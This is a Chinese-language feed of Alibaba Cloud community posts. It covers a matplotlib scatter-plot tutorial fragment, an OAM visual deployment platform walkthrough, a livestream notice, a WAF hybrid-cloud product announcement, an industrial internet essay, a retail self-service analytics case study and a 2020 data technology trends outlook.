                  • 饼图:用于表示不同分类的占比情况,通过弧度大小来对比各种分类。
                    特点:分类数据的占比情况。(占比)

                  image.png

                  散点图绘制

                  示例:
                  需求:探究房屋面积和房屋价格的关系
                  房屋面积数据:

                  x=[225.98,247.07,253.14,457.85,241.58,
                  301.01,20.67,288.64,163.56,120.06,
                  207.83,342.75,147.9,53.06,224.72,29.51,
                  21.61,483.21,245.25,399.25,343.35]

                  房屋价格数据:

                  y=[196.63,203.88,210.75,372.74,202.41,
                  247.61,24.9,239.34,140.32,104.15,176,
                  84,288.23,128.79,49.64,191.74,33.1,
                  30.74,400.02,205.35,330.64,283.45]

                  代码:

                  #1、准备数据
                  x=[225.98,247.07,253.14,457.85,241.58,
                  301.01,20.67,288.64,163.56,120.06,
                  207.83,342.75,147.9,53.06,224.72,29.51,
                  21.61,483.21,245.25,399.25,343.35]
                  
                  y=[196.63,203.88,210.75,372.74,202.41,
                  247.61,24.9,239.34,140.32,104.15,176,
                  84,288.23,128.79,49.64,191.74,33.1,
                  30.74,400.02,205.35,330.64,283.45]
                  
                  #2、创建画布
                  plt.figure(fig size=(20, 8) , dpi=80)
                  
                  #3、绘制图像
                  plt.scatter(x, y)
                  
                  #4、显示图像
                  plt.show()

                  执行结果为:
                  image.png

                  散点图应用场景

                  探究不同变量之间的内在关系。

                  配套视频课程点击这里查看

                  学习更多有关内容,请订阅 Python学习站 官方技术圈!

                  ]]>
                  社区首款 OAM 可视化平台发布!关注点分离、用户友好、上手难度低 Fri, 02 May 2025 09:39:04 +0800 头图.png

                  作者 | 徐运元,杭州谐云科技合伙人及资深架构师,云计算行业和 Kubernetes 生态资深从业者

                  导读:什么是 OAM?2019 年 10 月 17 日,阿里巴巴合伙人、阿里云智能基础产品事业部总经理蒋江伟(花名:小邪)在 QCon 上海 2019 重磅宣布,阿里云与微软联合推出开放应用模型 Open Application Model (OAM)开源项目

                  OAM 的核心关注点

                  • 关注点分离:开发者关注应用本身,运维人员关注模块化运维能力,让应用管理变得更轻松、应用交付变得更可控;
                  • 平台无关与高可扩展:应用定义与平台层实现解耦,应用描述支持任意扩展和跨环境实现;
                  • 模块化应用运维特征:可以自由组合和支持模块化实现的运维特征描述。

                  OAM 的核心模块

                  1. 应用组件(Components)

                  在 OAM 中,“应用”是由多个概念共同组合而成。第一个概念是:应用组件(Components),它是整个应用的重要组成部分。应用组件既可以包括应用运行所依赖的服务:比如 MySQL 数据库,也包括应用服务本身:比如拥有多个副本的 PHP 服务器。开发者可以把他们写的代码“打包”成一个应用组件,然后编写配置文件来描述该组件与其他服务之间的关系。

                  应用组件的概念让平台架构师等能够将应用分解成一个个可被复用的模块,这种模块化封装应用组成部分的思想,代表了一种构建安全、高可扩展性应用的最佳实践:通过一个完全分布式的架构模型,实现了应用组件描述和实现的解耦。

                  2. 应用部署配置文件(Application Configuration)

                  为了将这些应用组件描述变成一个真正运行起来的应用,应用运维人员会通过一个专门的、包含了所有应用组件信息的部署配置文件来实例化这个待运行的应用。这个配置文件本身也是 OAM 规范中的一个声明式 API,用来让应用运维人员能够根据开发者或者平台提交的应用描述,实例化出对应的、真正运行起来的应用。

                  3. 应用运维特征(Traits)

                  最后一个概念是一组应用运维特征(Traits),它们描述了应用在具体部署环境中的运维特征,比如应用的水平扩展的策略和 Ingress 规则,这些特征对于应用的运维来说非常重要,但它们在不同的部署环境里却往往有着截然不同的实现方式。 举一个简单的例子,同样是 Ingress,它在公有云上和本地数据中心的实现可能完全不同:前者一般是 SLB 这样的云服务,而后者则可能是一个专门的硬件。这也就意味着针对这两个环境的 Ingress 运维工作,将会有天壤之别。 但与此同时,无论是在哪个环境里,这个 Ingress 规则对于应用开发人员来说,可能是完全相同的。

                  应用特征的设计,让这种关注点分离成为可能:只要这两个环境在 OAM 模型下提供了对 Ingress 这个应用运维特征的实现,那么应用就可以使用统一的 Ingress 规则描述,无差别地在这两个地方运行起来。与此同时,这两个环境的基础设施供应商可以继续通过配置这些应用特征的实现,来满足它们各自的运维要求(例如:不同环境里 Ingress 实现在满足合规性和安全性上的差异)。

                  一个基于 OAM 的可视化实现介绍

                  目前该平台主要基于 OAM 的 V1 alpha1 版本实现,并且对于 OAM 的核心理念进行的抽象和封装,以更符合用户的使用习惯。在本文介绍的可视化部分背后,是完整的 OAM 格式的 yaml 文件。可视化 OAM 平台主要包含两大核心功能: 

                  1. 运维特征模型

                  运维特征模型主要是针对 OAM 的 Traits 的具体实例化,让用户可以把复杂的一些运维特性可以直接以插拔的形式直接让应用发布者去使用。目前平台已经封装了包含服务发布、日志搜集、自动伸缩、存储挂载等 8 个运维特征的封装。

                  1.png
                  图 1 运维特征模型仓库

                  2. OAM 应用编排

                  OAM 应用编排功能将 OAM 的应用发布全流程进行了可视化的实现,将应用组件添加、配置文件修改以及运维特征添加等 OAM 的核心功能进行了抽象和封装。OAM 应用编排目前包含以下核心功能:

                  • 组件编排: 可视化添加平台的组件并且进行组件的参数设置;
                  • 运行特征编排:在添加的平台组件基础上进行运维特征的添加和编排(也为后续开发、运维关注点分离做准备);
                  • OAM 版本管理:平台会保存所有的 OAM 发布版本,并且提供升级和回滚功能。

                  2.png
                  图 2 OAM 应用编排主界面

                  接下来,我们会以一个典型应用(nginx+tomcat+redis)的部署来全面解析,如何在平台上进行 OAM 的可视化发布。

                  前置条件

                  运维特征(Traints)应用模型已安装,在界面上,可以快速查看有哪些运维特征应用模型,以及它们的运行状态。当前只支持系统定义的运维特征,后续会开发自定义的运维特征的生命周期管理。让用户可以编写自己的运维特征并且安装到平台进行使用。

                  3.png

                  OAM 应用创建流程

                  OAM 应用基本发布流程:应用创建->新增组件->应用编排->保存版本->发布应用。

                  • 创建应用: 点击应用->OAM 应用菜单, 点击【创建应用】按钮,输入必填项;
                  • 添加组件: 点击【新增组件】按钮,设置工作负载类型,容器配置等;

                  选择想要创建的工作负载类型,目前已经将 Server、Singleton Server、Task、Singleton Task、Worker 以及 Singleton Worker 等六种核心的工作负载进行了封装,用户只需要在下拉框中勾选自己想要创建的负载类型即可。

                  4.png

                  在选择完负载类型之后,用户可以以可视化的形式去选择想要发布的镜像以及容器的基本配置参数。同时,目前也支持基于多个容器的编排发布。

                  5.png

                  • 根据我们的需求,我们依次添加 tomcat、redis、mysql 三个组件,在界面上就可以看到组件的状态,同时点击“详情”可以看到对应的 Kubernetes 资源信息;

                  6.png

                  查看组件的详细信息。

                  7.png

                  • 应用编排:在创建完需要部署的组件之后,我们的 OAM 应用已经具备了开发的属性。

                  之后我们需要根据需求给每一个组件添加运维特征:点击进入应用编排界面,你可以看到刚才添加的组件已经展示在画布之上;在画布上点击单个组件,可以看到目前适合该组件的运维特征,勾选你所需要的运维特征即可快速添加;在添加完运维特征之后,会在右边栏弹出运维特征的配置参数,配置保存之后这些运维特征即可生效;

                  8.png

                  • 在添加完所有组件的运维特征之后,我们就可以看到一个完整的编排完的 OAM 应用了。在 OAM 的 V2 版本,我们同时会再增加应用的依赖关系,用户可以通过拖拽和连线来实现应用之间的依赖编排;

                  9.png

                  • 保存版本:最后,我们可以点击【保存当前内容为版本】按钮,输入版本号,点击【确定】;

                  10.png

                  • 发布应用:点击【发布】按钮,发布应用

                  发布应用后,组件状态显示‘已实例化’。应用实例状态显示“健康”。

                  11.png

                  点击事件 tab 页,显示事件。

                  12.png

                  用户可以快速查看已经创建的 ingress,并且进行访问。

                  13.png
                  14.png

                  • 用户可以通过修改 traints 信息,快速对当前的应用进行修改和升级。

                  点击进入应用编排界面,并且编辑 tomcat 实例数为 4。

                  15.png

                  将编辑后的版本,保存为当前版本则会直接讲修改的配置更新到当前实例。如果选择保存为新版本,则会将当前配置修改保存为模板,等待发布。我们将此修改保存为新版本。

                  16.png

                  点击更新为此版本,进行刚才修改的配置发布。发布完成之后,我们可以看到有两个版本的 OAM 应用模板。

                  17.png
                  18.png

                  查看详情,确认 tomcat 实例数已经变更为 4,但是由于我们同时设置了自动扩缩容的实例为 3,因此在扩容之后又迅速变回实例 3。

                  19.png

                  至此,一个完整的部署和更新 OAM 应用的可视化流程就演示完了。

                  总结

                  如今 OAM Spec 已经迭代到了 v1alpha2 版本,新版本在坚持 OAM Spec 平台无关的基础上,整体变得更 Kubernetes 友好化,很大程度上平衡了标准与可扩展性,更好的支持已有的 CRD。也就是说,如果你已经编写了现成的 CRD Operator,可以平滑的接入到 OAM 体系中,并且享受到 OAM 模型的红利。

                  更详细的新版本介绍可以阅读OAM v1alpha2 新版发布:平衡标准与可扩展性,灵活接入 CRD operator

                  该可视化平台也已经在全面升级到 v1alpha2 的过程中,新版的支持可以更好的允许用户编写插件扩充平台的功能。

                  该平台来自于阿里云战略合作伙伴杭州谐云科技,该平台基于 OAM 实现的开源版本也已经在路上,大家敬请期待。

                  目前,OAM 规范和模型实际已解决许多现有问题,但它的路程才刚刚开始。OAM 是一个中立的开源项目,我们欢迎更多的人参与其中,共同定义云原生应用交付的未来。参与方式:

                  • 钉钉扫码进入 OAM 项目中文讨论群

                  二维码.png

                  杭州谐云科技有限公司成立于 2016 年 7 月,公司核心团队来自于浙江大学 SEL 实验室,谐云团队在云计算及相关领域具备深厚的技术积淀,在全球顶级开源社区 Docker、Kubernetes、Cloud Foundry 等项目贡献累计超过 200 万行代码,排名全球第四,国内第一。团队曾著书中国第一本深度解析容器云的专业书籍《Docker 容器与容器云》,是国内为数不多掌握底层核心技术的容器云提供商。建设了目前中国最大的容器集群落地案例,支撑着国内最大的互联网电视云。

                  课程推荐

                  为了更多开发者能够享受到 Serverless 带来的红利,这一次,我们集结了 10+ 位阿里巴巴 Serverless 领域技术专家,打造出最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

                  点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  5月14日Apache Spark中国社区技术直播【Analytics Zoo上的分布式TensorFlow训练AI玩FIFA足球游戏】 Fri, 02 May 2025 09:39:04 +0800 主题:

                  Analytics Zoo上的分布式TensorFlow训练AI玩FIFA足球游戏

                  时间:

                  2020.5.14 19:00

                  参与方式:

                  扫描下方海报二维码加入钉钉群
                  或者
                  届时点击直播间直接观看(回看链接)

                  https://developer.aliyun.com/live/2802

                  讲师介绍:

                  喻杉,Intel大数据分析团队机器学习工程师。她目前专注于在analytics-zoo大数据和人工智能平台上开发针对时间序列分析的自动机器学习组件。在加入intel前,她在浙江大学获得了学士和硕士学位。

                  直播简介:

                  近年来,由于对通用人工智能研究的潜在价值,训练AI玩游戏一直是一个火热的研究领域。FIFA实时视频游戏场景复杂,需要结合图像,强化学习等多种不同的AI技术,同时也要求agents响应有实时性,因此是一个非常好的试验场,可以用来探索不同类型的AI技术。本次分享主要介绍我们在训练AI玩FIFA视频游戏方面的一些工作。

                  5.14直播海报.png

                  ]]>
                  5月安全新品播课(1)|混合云下割裂的Web安全管理挑战如何破? Fri, 02 May 2025 09:39:04 +0800 导语

                  4月29日,阿里云五大安全产品全面升级在线发布,包括发布阿里云Web应用防火墙混合云解决方案,破解混合云环境下割裂的web安全管理难题;发布容器安全解决方案,助力客户解决容器安全问题,提高运维管理效率;发布UEM终端访问控制系统,助力企业全面识别内网风险,应对远程办公安全挑战;统一身份认证服务IDaaS全新升级,实现从静态认证授权到动态智能风控;同时对SSL证书的现状与挑战做了详细阐述。

                  本期分享嘉宾

                  阿里云安全技术专家杨永

                  本期议题

                  云上云下的全方位管理与防护——阿里云WAF推出混合云安全方案

                  本期精彩看点

                  01混合云场景下WEB应用安全管理痛点

                  • 不同的管理资源、防护架构和不一致的安全工具导致安全管理割裂:
                  • 安全风险识别能力不同,安全水位具有差异性;
                  • 多业务、多资源安全防护过程中防护能力强弱不同,易引发安全事件;
                  • 安全防护基线不同,策略调整与安全运维人员投入资源巨大;
                  • 数据防护级别差异性大,数据隐私泄漏风险高。

                  02如何解决?

                  阿里云WAF推出混合云安全解决方案,实现多云环境下的统一管理:统一的运维中心,统一的网络接入,统一的安全防护和统一的安全管理。企业可以在公有云上进行集中的安全防护与管理,在专有云和私有云上部署软件化的阿里云软件WAF,能够轻松地跨越网络架构和机房的复杂性,实现云上云下的整体防护。

                  03该方案有何优势?

                  • 集中管控实现统一防护、统一运维;
                  • 云上威胁情报共享快速洞察风险、及时止损;
                  • AI+主动防御的多智能引擎帮助客户实现智能防护;
                  • 全球负载,实现多地容灾。

                  04适合什么样的企业场景?

                  • 正在进行全球化业务拓展的企业。业务应用部署在多云环境,需要进行统一安全防护与统一策略防护,该方案可以实现集中管控与安全风险处理,降低业务全球化过程中的安全风险,保障企业应用安全稳定发展;
                  • 数字化转型过程企业。业务趋于多元化,多应用、多场景化,该方案将有效解决业务侧安全管理问题,在促进业务发展的同时,保障安全;
                  • 进行云上云下业务整合过程中的企业。该方案实现云上安全防护与威胁大数据分析能力与云下真正协同,实现云上云下安全联动,全面解决应用安全风险。

                  目前,阿里云WAF提供为期一个月的免费试用,欢迎点击“阅读原文”申请试用。

                  https://page.aliyun.com/form/act829099116/index.htm?accounttraceid=f93e4764f959412699a4813f7e6913e3bluc

                  ]]>
                  工业互联网发展制约因素盘点 Fri, 02 May 2025 09:39:04 +0800 1、实时性

                  工业互联网未来发展过程中首先需要解决的瓶颈即是数据传输的实时性,这也是未来工业互联网期望取代传统自动化控制手段的重要标准。

                  虽然随着5G的全面铺开,无线传输方式的时延大幅度降低,逐步逼近有线传输方式的时延指标。但是生产企业因为惯性原因对于5G在未来的实际应用前景仍然持观望态势。部分企业因为无法承受任何由于传输速率波动而对生产可能造成的损失也会等待直至5G的可靠性真正得到确定后才会在生产过程中采用无线通信方式取代有线通信方式。

                  此外,工业生产环境的复杂性也带来了无线信号是否会受到复杂环境影响的疑问。相比传统有线通信方式,无线通信显然受周围环境影响较大,生产企业在已经通过有线通信手段确保了数据和信息传输的高可靠性现状下,是否有足够的魄力和开拓性去接受全新的无线通信手段是工业互联网转型和个人移动互联网用户当时终端转型中最本质的区别。

                  2、终端迭代速度的区别

                  和个人用户终端迭代速度相比,工业互联网终端的迭代速度不会达到以半年为单位的速度。终端迭代速度直接关系到物联网应用层的开发速度和云计算SaaS服务铺开速度,因此各类针对工业互联网的落地场景开发需要重新找到合适的迭代节奏和升级节奏。

                  移动互联网服务和PC端互联网服务一直以来呈现的是软硬件交叉迭代的模式。软件升级迭代造成硬件配置如手机等终端必须跟上软件升级所需要的更高配置要求,而硬件的持续升级又反过来促进了更多软件的版本升级或创新。由此软硬件的滚动升级形成了迭代周期。工业互联网的迭代周期因为生产工艺的多样化,受众颗粒度更细于移动互联网,因此需要重新评估工业用户的迭代需求。

                  3、前置技术耦合

                  工业互联网作为一个全新的体系,其发展速度受众多前置技术的发展情况影响,如:云计算、大数据、物联网、移动互联网、人工智能、区块链等。除和各前沿技术体系有强耦合关系外,从硬件角度细分到更为细致的颗粒度则芯片技术、异构服务器乃至CPU、GPU、FPGA等的发展都会影响工业互联网的发展速度。

                  因此当工业互联网初步体系形成后,落地场景开发完毕,继续从应用场景方向完善则需要依靠各前置技术的发展情况。从目前实际情况分析,云计算、大数据、人工智能的推进速度较快并且产业成熟;移动互联网场景逐步从增量转向存量;区块链作为一个单独的技术领域工业场景落地方向不明;硬件技术特别是芯片是发展工业互联网急需解决的瓶颈。

                  总结:

                  依据以上分析,本文得出,发展工业互联网过程中需要解决得瓶颈因素有以下几个:

                  近期:

                  A. 准确评定5G通信指标能适用哪些工业生产场景。

                  B. 物联网应用层开发、云计算SaaS服务开发迭代周期与工业互联网终端硬件迭代周期的适配性。

                  C. 落地场景的应用形成模块化,服务渠道化。

                  D. 形成成熟的工业互联网网络安全体系。

                  远期:

                  E. 工业互联网发展与大数据、云计算、物联网、移动互联网、区块链的发展形成闭环,协同滚动发展。

                  F. 解决工业互联网发展在硬件上所受到的限制。

                  ]]>
                  新零售的路上,人人都是数据分析专家 Fri, 02 May 2025 09:39:04 +0800 -- 零售通自助分析平台实战分享

                  前言

                  零售通自助分析平台是服务于零售通业务线运营和产品同学,无需SQL无需配置快速分析数据,定制个性化报表的地方。

                  传统方式进行数据分析需要6步走,门槛高到拦下大部分到初学者:1. 申请数据项目空间;2. 查找对应数据底表并申请权限;3.D2中获取AccessID;4.DI中配置项目空间和AccessID;5.DI中用数据底表配置数据源;6. 开始数据分析

                  而使用自助分析只需3分钟两步走,将入门门槛拉到了地板上:1. 申请自助分析平台权限;2. 选择标准化底表之一开始数据分析(例如交易数据)。

                  产品Demo长这样~ image.png

                  用户反馈长这样~
                  image.png

                  零售通自助分析平台上线3个月,取得了一定效果:
                  1. 报表阅读用户300+,月访问PV 7000+
                  2. BU 30%员工开始在线数据分析,注册自助分析用户已达到300人。其中,月活跃自助分析用户140人

                  image.png
                  为何各路表哥表姐都来投奔自助分析平台了,连平时不太看报表的王小二都开始自助分析了?
                  原因很简单,因为自助分析不用写SQL,0门槛上手只要1分钟,10分钟的工作顶过去1个小时!

                  一、背景

                  作为新零售的八路大军之一,零售通在过去的一年经历了迅猛的发展

                  • 实仓销售额增长超过100%
                  • 销售动销店增长30%
                  • 商家和商品数增长50%
                  • 成为快消行业No.1的B2B平台

                  生意规模的快速增长带来了大量新的场景和问题,管理复杂性大幅提高。为了达成“共建智能分销网络,让百万小店拥抱新零售”的使命,零售通将数字化能力定义为零售通致胜的四大能力之一。

                  在这样的背景下,人民日益增长的数据需求与落后的数据生产方式之间的矛盾越来越难以调和:传统数据驱动模型,即核心由BI/DA驱动,运营小二仅在外围作为需求方和最终用户的组织方式,已经很难满足业务的快速变化:

                  1. 需求响应时间过长:场景多,需求杂,资源紧,排期长
                  2. 产品时效性不高:技术团队难以快速充分了解变化的业务需求导致产品一期开发好之后,运维迭代成本高,无法满足运营当下的诉求,而让产品很难被运营广泛使用起来
                  3. 新业务开展无大数据分析基础:新业务场景只能线下抽样数据估计个大概
                  4. 老业务开展靠“表哥/表姐”:缺乏工具支撑的运营小二只能耗费大量时间在Excel数据分析中,低效低产

                  image.png

                  (传统的数据驱动模型)

                  二、解法

                  零售通自助分析平台就在这样的背景下诞生了。平台的定位是“数据驱动2.0,人人都是数据专家”,让业务运营小二成为数据驱动增长的核心力量。
                  image.png

                  (以自助分析为核心的数据驱动模型)

                  在构建自助分析平台之前,对数据驱动2.0时代、数据如何在业务中流转、不同岗位的人如何协作进行流程说明。

                  图中纵轴代表 数据建设的发展阶段,分四层:

                  • Lv.0:底层建设:产品技术团队做好平台工具和数据底层支持
                  • Lv.1:自助分析:运营小二实时分析
                  • Lv.2:数据产品:日常工作流沉淀为数据产品
                  • Lv.3:产品化:将数据产品与工作流打通,实现产品化

                  图中横轴代表 数据驱动增长过程中相关的人员角色,有四类:

                  • 运营(普通用户&创新用户)
                    1. 针对新业务场景实时自助分析
                    2. 定制日常工作流提升效率
                  • 产品/技术
                    * 维护迭代自助分析平台,改进体验,给自助分析打磨工具
                  • 数据团队DA
                    * 维护迭代数据宽表,确保数据准确、充足,给自助分析提供弹药

                  image.png

                  三、方案实现

                  1. 平台选择

                  通过对比集团内的FBI、DeepInsight等各种产品,最终我们选择了DeepInsight来进行方案实现,核心3个原因:
                  1. 易用性强:熟悉Excel的同学5分钟即可上手
                  2. 配置门槛低:最终用户仅需申请一个权限即可完成全站配置,即刻开始使用,无需理解各种复杂的项目空间、表权限等概念
                  3. 功能强大:支持多种图表、计算字段,嵌入式Excel快速重现线下工作流

                  2. 产品结构

                  自助分析平台基于DeepInsight的门户模块搭建:
                  1. 即席数据分析:核心功能是将可编辑的工作簿嵌入到门户中,最终用户只需申请门户权限,即可拥有门户中所有工作簿及其对应数据的权限,即刻开始数据分析。
                  2. 产品运维和权限:所有的底层数据维护和权限管理工作,全部交由门户管理员统一管理,避免了每个最终用户都需要开通数据访问接口等步骤,降低了最终用户的使用门槛。

                  按照第二节中介绍的4层结构,Lv.0 由门户管理员和数据团队负责,创建整体门户结构和相应的底层数据集和工作簿,网站结构如下图所示:
                  image.png

                  Lv.1 的最终用户自助分析基于管理员提前制作好的案例开始,避免了新人上手不知从何下手的问题。
                  Lv.2 核心用户沉淀下来的工作流,汇总到“报表廊”板块集中展示,一方面供广大最终用户使用,另一方面也给大家提供分析思路借鉴
                  Lv.3 对于Top的数据产品,与产品合作打通与已有产品流程,数据看板嵌入到现有产品工作流,从数据分析直接触发业务动作
                  image.png

                  3. 流程步骤

                  有了依赖的工具、和产品框架,需要从哪些地方开始做起来?这步会带来解答,带您了解一个自助分析平台搭建起来的成本可能是怎样的。

                  序号步骤负责人关键点
                  1确定需要发布的数据集全体项目组与风控评估信息安全风险
                  2开发底层宽表DA数据应保持最细颗粒度
                  3创建底层宽表数据集与工作簿产品/技术调整字段类型;确定合适的加速方案,ADS默认加速上限1千万条
                  4为工作簿创建案例并设置为公开产品/技术创建必要的计算字段
                  5创建门户,并将工作簿嵌入门户产品/技术外部页面可通过链接嵌入
                  6根据需要创建合理的自动权限审批ACL产品/技术风控
                  7产品发布产品培训与推广

                  4. 案例分享

                  截止目前,平台已经沉淀出大量成熟的工作流并纳入报表廊,为BU工作效率和业务结果的提升带来帮助

                  • 地区供应链的@知山 将自助分析全面推广到前线小二,通过使用数据可视化分析,每日跟进配送项目进展,配送费用节省29%

                  image.png

                  • 品类供应链的@逍鸿 将品类计划的日常工作流整合在一起,从缺货、滞销、周转、拆零占比、单坑效能、OB后追踪等角度提供了一站式的汇总分析,并能快速定位当日需要跟进问题点,大大简化了品类计划同学的日常工作。
                  • 商品中心的@旷达 在云仓战役中运用自助分析平台通过分析每个街道核心云仓品牌覆盖率,找到品牌发力点,提升云仓商家在各个街道的销售
                  • 行业运营的@赵倩 对重货成本项进行拆解分析寻找降本机会环节,摸索重货创新模式,为符合买家需求的头部重货品类寻找有效降本方案提供数据线索
                  • 4月迭代上线的拍档宽表,为零售通的咏春战役提供了个性化的数据支持,帮助小二精准定位问题点

                  image.png

                  5. 运营数据分析

                  为了便于运营,我们将用户访问分为4种类型,
                  1. 自助分析:通过自助分析平台进行数据分析;
                  2. 自建流程:访问自己创建的报表;
                  3. 独立开发:申请单独权限进行数据分析;
                  4. 报表阅读:阅读他人制作的报表

                  对于绝大部分用户,我们期望更多人采用1.自助实时分析;以及使用沉淀出更多的2.自建流程;对于能力较强的创新用户,鼓励其进行3.独立开发成熟的流程,并分享给团队4. 报表阅读 提升团队效率。

                  整体数据如图,上线3个月,注册用户300+,覆盖BU 30%员工。月活跃自助分析用户140人,报表阅读用户300+,月访问PV 7000+,其中分析PV占比49%,访问量迅速增长。
                  image.png

                  针对用户粘性的分析,从下图的访问数据可以看出:

                  • 左图:在过去15天(包含51假期),对于自建流程的用户,平均访问天数达到11天,甚至不少人达到14、15天,说明适合自己的工作流才是最好的工作流;
                  • 右图:自助分析的页面访问量部分人高达180+,核心用户的热情拦都拦不住
                    image.png

                  四、未来规划

                  有了好的平台工具,只能是个好的开始,最终的业务价值还要运营。幸运的是数据能力作为零售通核心的四大能力之一,得到了自上而下从领导层到HR和产品数据团队到业务团队的大力支持。

                  1. 组织体系方面

                  在新的财年,我们将通过棒棒堂整合数据领航班的形式,从各部门选拔有一定数据分析和数据工具使用基础且数据驱动业务敏的感度高,业务理解能力突出的小二,作为领航班成员,参与数据能力体系化培养,参与零售通全域数据化项目建设,通过个人数据能力成长与数据驱动业务成果体现,将数据能力从内核向外圈病毒式传播,带动整个零售通数据思维和能力的整体提升。

                  2. 数据底层方面

                  基于用户反馈和生意变化,产品定期进行迭代,不断满足新的业务场景。目前我们已经覆盖了供应链进销存、前线销售、拍档营销、小店数据,未来会进一步拓展到前端App、后端仓储物流等领域,赋予自助分析更大的发挥空间。

                  3. 产品化方面

                  经过一段时间的运营,我们已经沉淀出了一些成熟的流程,其中库存相关的产品已经做到数据产品与现有产品的打通,实现了从看板分析定位问题,直接跳转到相关产品进行具体的操作,未来将进一步探索更加深入的产品化模式。
                  同时结合零售通新财年将服务好商家为核心的策略,将会整合产品,开发适合商家使用的数据产品,期望未来能把分析赋能给到商家。

                  五、结语

                  对于用户能力的培养,我们在提供线上视频与线下培训相结合的基础上,提供了线上答疑群,同时对于常见的问题:如何下载数据,如何分享制作的报表等问题,制作了FAQ,方便用户查询:
                  https://yuque.antfin-inc.com/docs/share/9a356434-252a-4378-8f25-322b4e10603f

                  最后,感谢DeepInsight团队的小伙伴做出如此出色的产品,让我们的业务有可能架构在这个平台上,感谢@源圆、@青夕、@嘉豪等诸位小伙伴忍受我不断的骚扰帮我解决各式各样的问题,才让零售通自助分析平台能顺利走到今天。也要感谢项目组的 @超晖、@化泥、@秋萍、@蒋小赛同学一起推动项目向前,更要感谢巫曼、怡文、乔石、玲玲、家华等各位老板的大力支持。

                  如果您也有类似的痛苦或者正在做类似的事情,欢迎在文章下方留言区交流或者钉钉搜索冯子睿,让“人人都是数据分析专家”不再停留于口号,变成现实!

                  ]]>
                  阿里数据:2020七大数据技术领域趋势展望 Fri, 02 May 2025 09:39:04 +0800 前言:
                  关于数智化转型、数据中台内容探讨可扫码加入数智化转型俱乐部哦

                  446370221436dc0ad0069d92481a07d2ff6828ec.jpeg
                  阿里云数据中台官网 https://dp.alibaba.com/index


                  正文:

                  站在新的一个十年,阿里数据各细分领域专家一起来共同回顾各个领域的过去、展望未来,围绕数据生命周期,分别从数据的采集、建设、管理、计算到应用进行了未来数据技术趋势的展望。

                  数据采集

                  小程序和IoT采集、采集端计算、采集法律法规建设将会是突破性变化。

                  采集端计算:在5G和IoT时代流量数据还将会爆炸式增长,未来如何在有限的服务器&计算资源的情况下保障数据采集的正常运转将会是一个核心问题。其中的一个探索方向将是端计算,通过将算法模型、数据压缩、数据过滤、反作弊等部署在终端,从而显著降低网络和服务端以及计算集群的压力。
                  大数据采集法律法规建设:可能需要从3个方面入手:1. 清晰规定可以采集和不可以采集的数据;

                  1. 明确规定不可以使用的采集技术,以及每种采集技术合法使用的量化指标;
                  2. 违法行为的追究范围和标准。

                  数据建设与管理

                  基于模型的开发模式将成为主流,流批一体将从引擎层上升到平台层,数据处理的粒度会更加精细。

                  基于模型的开发模式将成为主流:大数据开发的门槛进一步降低,用户不在需要编写复杂的SQL代码,只需要聚焦在数据模型的开发上。

                  流批一体将从引擎层上升到平台层:流批一体不在局限于引擎层,而上在平台层有着实际的业务场景支持。

                  数据处理的粒度会更加精细:数据处理从表粒度升级到字段粒度,极大的降低计算和存储的成本。

                  数据挖掘

                  AI民主化、多模态数据、可解释性AI与增强分析、5G、IOT与边缘计算等方向将会是突破性变化。

                  AI民主化:随着AutoML技术的发展,数据挖掘的每一个流程都在朝着自动化的方向演变,越来越多的岗位可以运用AI的能力,AI人才不足的问题将在5年之内得到缓解。

                  多模态数据:未来10年多模态数据的统一挖掘和建模以及互相之间的翻译和转换,将会是一个热点并有可能取得更大的突破。在对话领域,直接基于语音信号进行语义理解和实体识别也在进行。卫星等另类数据价值将被进一步融合与挖掘。

                  可解释性AI与增强分析:可解释性AI与增强分析的出现,将拉近数据科学与商业之间的距离,为业务提供更加透明、可靠的AI能力。

                  5G、IOT与边缘计算:中国的5G从2019年开始落地,2020年规模化。虽然当前5G核心应用较少,但伴随的IoT的同步发展,未来10年,将有更多端上数据可被采集和挖掘以及在端上进行边缘计算。

                  数据计算

                  无论是流批融合还是TA融合方面,我们都将面临更多的业务场景需求和挑战,而在AI智能计算的自动化和普惠运用,云、端计算融合等领域,也将迎来更多的实际业务落地场景。

                  BI

                  云BI将成为市场主流模式;自助数据分析需求持续旺盛;新制造、新金融、新零售、中小企业将成为BI市场中的亮点;数据分析和数据治理、数据资产管理会有更多交集;海量数据处理秒级响应成为标配;AI和BI融合,BI将真正进入智能化时代;移动端、共享、嵌入集成越来越普遍。

                  云BI将成为市场主流模式:云厂商+BI产品将代替传统私有云解决方案,成为市场主流模式。云BI需要具有平台即服务和分析应用即服务的能力,可以同时在云端和本地部署、使用和管理数据分析报告和数据分析应用。从目前的国际IT市场来看,云端化确实是大势所趋,并逐渐形成规模市场,但国内市场由于数据环境相对封闭,数据安全也有很多挑战,导致企业关键数据仍然大部分存在于私有部署的系统中,云化的发展进度并不如国际市场,中国市场的云BI发光点可能在于业务集中在SAAS云平台系统中的中小型用户,这个有待市场验证。

                  自助数据分析需求持续旺盛:数据分析的应用场景在不断丰富和扩展,越来越多的业务人员需要通过数据分析来为自己的业务决策提供支撑,而企业需要通过自助数据分析解放IT人员的劳动力,降低企业成本。

                  新制造、新金融、新零售、中小企业将成为BI市场中的亮点:从社会的发展趋势来看,新制造、新金融、新零售的理念会迎来更大的普及,在这些行业“数据即能源”的理念逐渐成为业界的共识,用BI对数据进行分析、充分挖掘数据价值成为他们的标准配备。中小企业也会成为BI市场的新亮点,他们的应用场景主要集中在数字营销领域,亟需通过数据分析挖掘潜在的商业价值,帮助自身完成业务决策。

                  数据分析和数据治理、数据资产管理会有更多交集。:接下来的几年将会有越来越多的大型企业实施统一的数据治理、数据资产管理项目,而数据分析是数据资产管理中的重要组成部分,两者的融合会越来越多。元数据管理、主数据管理、数据标签、多维数据分析等需要与BI深度集成,并在此基础上建立相应的分析模型。

                  海量数据处理秒级响应成为标配:传统关系型数据库无法满足企业的数据发展需求,大数据逐渐成为企业标配,BI产品需要提供强大的数据计算处理引擎,能够降低企业数据查询等待时间成本,提高业务数据分析效率,并且要和企业自身的大数据平台做到无缝集成和对接。

                  AI和BI融合,BI将真正进入智能化时代:为满足企业业务人员自助数据分析和自动挖掘的需求,BI产品需要在现有的数据可视化和数据分析的功能基础上,增强数据自动挖掘能力,用户能够轻松使用平台内置的高级分析功能。

